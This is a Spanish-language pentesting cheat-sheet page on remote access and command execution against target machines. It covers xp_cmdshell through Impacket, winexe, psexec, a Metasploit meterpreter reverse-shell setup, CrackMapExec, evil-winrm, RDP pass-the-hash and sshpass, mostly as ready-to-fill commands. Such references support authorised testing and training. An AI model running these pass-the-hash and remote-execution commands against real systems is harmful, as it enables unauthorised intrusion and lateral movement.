> For the complete documentation index, see [llms.txt](https://w0lf-f4ng.gitbook.io/cheat-sheet/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://w0lf-f4ng.gitbook.io/cheat-sheet/explotacion/conexion-remota.md).

# Conexión remota

## MS SQL

Usamos la herramienta `mssqlclient.py` de Impacket:

```bash
python3 mssqlclient.py <username>@<target_ip> -windows-auth
```

> Si la máquina atacante es Kali, el script se encuentra en `/usr/share/doc/python3-impacket/examples`.

Para ejecutar comandos, habilitamos `xp_cmdshell`:

```sql
enable_xp_cmdshell
```

Ya con esto, podemos ejecutar comandos de la siguiente forma:

```sql
xp_cmdshell whoami
```

## SMB/Samba

Podemos usar la herramienta `winexe` para ejecutar comandos de forma remota en entornos Windows:

```bash
winexe -U '<username>%<password>' //<target_ip> cmd.exe
```

Si tenemos un usuario con permisos de administrador, podemos ejecutar el siguiente comando para obtener privilegios de SYSTEM:

```bash
winexe -U '<username>%<password>' --system //<target_ip> cmd.exe
```

Podemos usar `pth-winexe` en caso de que necesitemos hacer un pass-the-hash:

```bash
pth-winexe -U '<username>%<full_hash>' //<target_ip> cmd.exe
```

También podemos usar la opción `--system` para obtener privilegios de SYSTEM.

## PsExec

{% tabs %}
{% tab title="Impacket" %}
Impacket posee un script en python que nos permite conectarnos a equipos Windows:

```bash
python3 psexec.py <username>:<password>@<target_ip>
```

> Si la máquina atacante es Kali, el script se encuentra en `/usr/share/doc/python3-impacket/examples`.

Si tenemos un hash, podemos hacer un pass-the-hash con el siguiente comando:

```bash
python3 psexec.py -hashes <hash_ntlm> <username>@<target_ip>
```

{% endtab %}

{% tab title="Windows" %}
Windows posee la herramienta [PsExec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec), con la cual, podemos escalar de una shell con privilegios de administrador a una de SYSTEM (o de cuentas de servicio):

```batch
.\PsExec.exe /accepteula -i -s <reverse_shell_path>
```

{% endtab %}

{% tab title="Metasploit" %}
Abrimos Metasploit:

```bash
msfconsole -q
```

Usamos el módulo de psexec:

```
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST <local_ip>
set LPORT <local_port>
set RHOST <target_ip>
set SMBUser <username>
set SMBPass <hash_ntlm/password>
exploit
```

{% endtab %}
{% endtabs %}

## CrackMapExec

{% tabs %}
{% tab title="PowerShell" %}
Ejecución de comandos usando la contraseña:

```bash
crackmapexec smb <target_ip> -u <username> -p <password> -X <PS_command>
```

Si queremos hacer pass-the-hash, usamos el siguiente comando:

```bash
crackmapexec smb <target_ip> -u <username> -H <hash_ntlm> -X <PS_command>
```

{% endtab %}

{% tab title="CMD" %}
Ejecución de comandos usando la contraseña:

```bash
crackmapexec smb <target_ip> -u <username> -p <password> -x <command>
```

Si queremos hacer pass-the-hash, usamos el siguiente comando:

```bash
crackmapexec smb <target_ip> -u <username> -H <hash_ntlm> -x <command>
```

{% endtab %}
{% endtabs %}

## WinRM (puerto 5985)

Podemos usar la herramienta [evil-winrm](https://github.com/Hackplayers/evil-winrm) para conectarnos al servicio WinRM.

Para instalar evil-winrm en Kali, usamos el siguiente comando:

```bash
sudo gem install evil-winrm
```

De la siguiente forma se puede obtener una shell mediante este servicio:

```bash
evil-winrm -u <username> -p <password> -i <target_ip>
```

Si tenemos el hash del usuario, podemos hacer pass-the-hash:

```bash
evil-winrm -u <username> -H <hash_ntlm> -i <target_ip>
```

## RDP

Podemos usar xfreerdp para conectarnos a la máquina remota:

```bash
xfreerdp /v:<target_ip> /u:<username> /p:<password>
```

Podemos hacerlo usando pass-the-hash:

```bash
xfreerdp /v:<target_ip> /u:<username> /pth:<password>
```

Podemos usar las siguientes opciones para permitir copiar y pegar desde el clipboard, ajuste automático del tamaño de la pantalla, y anclar un directorio:

```bash
xfreerdp /v:<target_ip> /u:<username> /p:<password> +clipboard /dynamic-resolution /drive:<local_path>,<shared_folder_name>
```

## SSH

Para conectarnos al puerto por defecto de SSH, usamos el siguiente comando:

```bash
ssh <username>@<target_ip>
```

Si el puerto es otro, tenemos que usar la opción `-p`:

```bash
ssh <username>@<target_ip> -p <port>
```

En caso de tener una llave de conexión, usamos la opción `-i`:

```bash
ssh -i id_rsa <username>@<target_ip>
```

Para pasar la contraseña junto con el usuario, debemos usar la herramienta `sshpass`.

Para instalar `sshpass`, usamos el siguiente comando:

```bash
sudo apt-get install sshpass
```

`sshpass` se usa de la siguiente forma:

```bash
sshpass -p 'password' ssh <username>@<target_ip>
```

Si necesitamos mandar comandos sobre SSH, estos deben ir al final del comando SSH:

```bash
ssh <username>@<target_ip> <command>
```
